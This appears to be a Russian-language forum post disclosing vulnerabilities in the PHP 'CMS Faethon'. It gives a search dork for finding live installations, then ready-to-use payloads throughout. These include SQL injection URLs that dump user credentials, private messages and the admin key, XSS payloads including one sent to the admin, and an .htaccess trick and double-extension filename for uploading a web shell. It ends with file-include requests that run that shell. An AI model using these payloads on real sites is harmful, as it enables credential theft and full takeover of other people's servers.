скачать: http://cmsfaethon.org/downloads/#22ultimate dork: "Powered by CMS Faethon" очень интересная cms) никаких проверок, никаких фильтраций, и подобного.. в общем, баги присутствует почти в каждом файле) BlindSQLinj vote.php: /vote.php?alt=' blindSQLinjection--+ - только один раз с одного ip PHP: $result=sql_query("SELECT ip FROM ".$SQL_PREFIX."_survey_ip WHERE ip = '".$your_ip."'"); $survey = sql_fetch_object($result); if(!empty($survey->ip)) { echo($lang['already_you_voted']); } elseif(empty($survey->ip)) { //vypis poctu hlasu u odpovedi $_GET['alt'] $result=sql_query("SELECT votes, survey_id FROM ".$SQL_PREFIX."_survey_alternatives WHERE id = '".$_GET['alt']."'"); SQLinj info.php: /info.php?item=' union select concat_ws(0x3a,username,password,string),2 from <PREFIX>_users where id=1--+ /info.php?item=' union select concat_ws(0x3a,from_user,to_user,subject,text,date_send,date_read),2 from n07_users_pms limit x,x--+ - читаем ПМ /info.php?item=' union select adminkey,2 from n07_config where cfg=1--+ - читаем админ_ключ PHP: $result=sql_query("SELECT title, text FROM ".$SQL_PREFIX."_html_sections WHERE address = '" . $_GET['item'] . "' ". $multilang -> sql .";"); по дефолту , <PREFIX> ]= n07 Формирование паролей: PHP: function GetHash($password, $string) { $passwd = $password . $string; return sha1($passwd); } SQLinj author.php: /author.php?id=' union select 1,concat_ws(0x3a,username,password,string) from n07_users where id=1--+ /author.php?name=' union select 1,concat_ws(0x3a,username,password,string) from n07_users where id=1--+ PHP: if(isset($_GET['id'])) { $result=sql_query("SELECT id, name FROM ".$SQL_PREFIX."_authors WHERE id = '" . $_GET['id'] . "';"); } elseif(isset($_GET['name'])) { $result=sql_query("SELECT id, name FROM ".$SQL_PREFIX."_authors WHERE item = '" . $_GET['name'] . "';"); } Раскрытие путей:: /?SetLang[]=eng /gallery/image.php?id[]=175 /articles.php?from_date[]=1-2-3&to_date=1-2-3 XSS:: /article.php?item=">XSS<a href= XSS в ПМ-сообщениях:: можно отправить админу пм ) /user_pms.php?action=new_msg Code: Komu: .. Předmět: <script>alert('O_o');</script> Message: .. в админке /admin/ :: дамп - /admin/acp/backup/dump.php $_POST['backup'] = 4; //Download $_POST['akce'] = SaveDump ; ^^ надо передать post запросом
Админка. [admin\files-manager\action.php 31 line] Быстренько просмотрев код... Блеклисты не рулят =)) PHP: if(eregi('\.php$', $_FILES['file']['name'][$i]) || eregi('\.php3$', $_FILES['file']['name'][$i]) || eregi('\.php4$', $_FILES['file']['name'][$i]) || eregi('\.php5$', $_FILES['file']['name'][$i]) || eregi('\.phtml$', $_FILES['file']['name'][$i])) Сочиняем .httaccess и грузим Code: AddType application/x-httpd-php .jpg Также помним что eregi чуствительна к нулл байту
Продолжим http://localhost/22_ultimate/admin/?cmd=gallery.images [/admin/gallery/upload.php 50 line] Мега защита =) PHP: $rozdeleni = explode(".", $_FILES['image']['name'][$i]); if($rozdeleni[1] == "jpg" or $rozdeleni[1] == "JPG") { Если у нас shell.jpg.php, то: Code: [B]Array ( [0] => shell [COLOR=Red][1] => jpg[/COLOR] [2] => php ) [/B] Опять таки Заливка шелла. Проблема что заливается с расширением Array[1]. RFI Рассмотрим admin\acp\extensions\index.php Существует вот такой вот код. PHP: if($_GET['op'] == 'install') { $cms_root = '../'; $path = '../ext/install.' . $_GET['ext'] . '.php'; $chksum = md5_file($path); if(file_exists($path)) { $result=sql_query("SELECT chksum FROM ".$SQL_PREFIX."_ext WHERE chksum = '" . $chksum . "';"); $row_array = sql_fetch_row($result); if($row_array[0] != $chksum) { include($path); Есть инклуд PHP: include($path); Обращаемся к скрипту: index.php?op=install&ext=[path] $chksum - ето у нас путь в md5. Скрипт не может сделать sql_query, так как нет такого класа. Следовательно sql_fetch_row не выполнится тоже, а $row_array[0] не будет ровно $chksum. Имеем include($path); LFI /admin/acp/restore/restore.php PHP: elseif(isset($_POST['download'])) { header('Content-Description: File Transfer'); header('Content-Type: text/x-sql'); header('Content-Disposition: attachment; filename="'. $_POST['file'] .'.sql"'); include('../store/'. $_POST['file'] .'.sql'); } POST file=../../../gallery/data/{nameofgallery}/full/shell.jpg}&download=